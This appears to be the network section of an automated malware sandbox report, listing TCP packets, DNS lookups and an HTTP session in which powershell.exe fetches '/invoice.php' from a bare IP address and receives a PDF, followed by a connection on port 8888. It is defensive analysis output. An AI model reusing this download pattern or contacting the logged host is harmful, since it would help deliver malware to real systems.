Jan 11, 2025 03:03:36.630506992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630518913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630530119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630542040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630553961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630572081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.630597115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.630597115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.630837917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630850077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630861044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630872965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630883932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630896091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.630908012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.630928993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.630928993 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.631270885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631283998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631294966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631305933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631325006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631337881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631339073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.631349087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631361008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631366968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.631372929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631385088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.631397963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.631397963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.631458998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.633119106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.656335115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656347990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656359911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656407118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.656466961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656477928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656541109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.656616926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656629086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656678915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.656713963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656724930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656754971 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.656851053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656862020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656872034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656881094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.656915903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.656915903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.687243938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687256098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687268019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687347889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.687372923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687376976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.687385082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687426090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.687468052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687479019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687489033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687498093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687540054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.687540054 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.687704086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687715054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687726021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687736034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687747002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.687752008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.687777042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.688056946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.688066959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.688077927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.688107967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.688153028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.688195944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.688206911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.688224077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.688235044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.688254118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.688308001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.688442945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.715749979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717147112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717175007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717185974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717205048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717242002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717284918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717303991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717351913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717364073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717374086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717396975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717396975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717556000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717569113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717580080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717591047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717601061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717612028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717616081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717703104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717869997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717880964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717891932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717912912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717951059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.717983007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.717993975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718003988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718014956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718033075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718066931 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718172073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718321085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718332052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718343019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718372107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718425035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718442917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718453884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718466043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718494892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718645096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718655109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718666077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718676090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718692064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718759060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718796968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718807936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718820095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.718863010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.718863010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.719122887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719139099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719150066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719201088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.719206095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719218016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719228029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719239950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719285011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.719285011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.719520092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719532013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719542980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719553947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719564915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719575882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719588995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719599962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719599962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.719599962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.719611883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.719665051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720036983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720052004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720062971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720091105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720177889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720190048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720201969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720208883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720254898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720254898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720325947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720338106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720347881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720359087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720366955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720395088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720407009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720416069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720427036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720438004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720447063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720447063 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720479012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720479012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.720951080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720963001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.720973969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721023083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.721082926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721093893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721105099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721164942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.721164942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.721216917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721227884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721239090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721318007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.721369982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721421003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721432924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721443892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721456051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721467018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.721471071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.721471071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.721524954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.726061106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.747200966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.747217894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.747231007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.747279882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.747334003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.747358084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.747370005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.747381926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.747416019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.747565985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.747675896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.755692005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.777993917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778012037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778073072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778084993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778100014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.778150082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.778179884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778191090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778202057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778213978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778275013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.778275013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.778481007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778498888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778510094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778521061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778532028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778542995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778547049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.778554916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778590918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.778590918 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.778949976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778961897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778973103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778984070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.778996944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.779011011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.779088020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.807909012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808171988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808185101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808195114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808206081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808218002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808228970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808255911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.808290005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.808316946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808329105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808342934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808387995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.808387995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.808538914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808549881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808561087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:36.808614016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.847146988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:36.868057966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:37.088671923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:37.819065094 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:37.824177027 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:37.824261904 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:37.824472904 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:37.829356909 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:38.623954058 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 03:03:38.673598051 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 03:03:39.072144032 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:03:45.628808022 CET	50566	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:03:45.628808022 CET	192.168.2.6	1.1.1.1	0x5eae	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:03:45.635952950 CET	1.1.1.1	192.168.2.6	0x5eae	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:03:46.596868038 CET	1.1.1.1	192.168.2.6	0x59d6	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:03:46.596868038 CET	1.1.1.1	192.168.2.6	0x59d6	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:04:49.525437117 CET	1.1.1.1	192.168.2.6	0x8064	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:04:49.525437117 CET	1.1.1.1	192.168.2.6	0x8064	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:05:02.866100073 CET	1.1.1.1	192.168.2.6	0xf612	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:05:02.866100073 CET	1.1.1.1	192.168.2.6	0xf612	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	193.143.1.205	80	6568	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:03:35.268826962 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:03:36.053491116 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:03:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
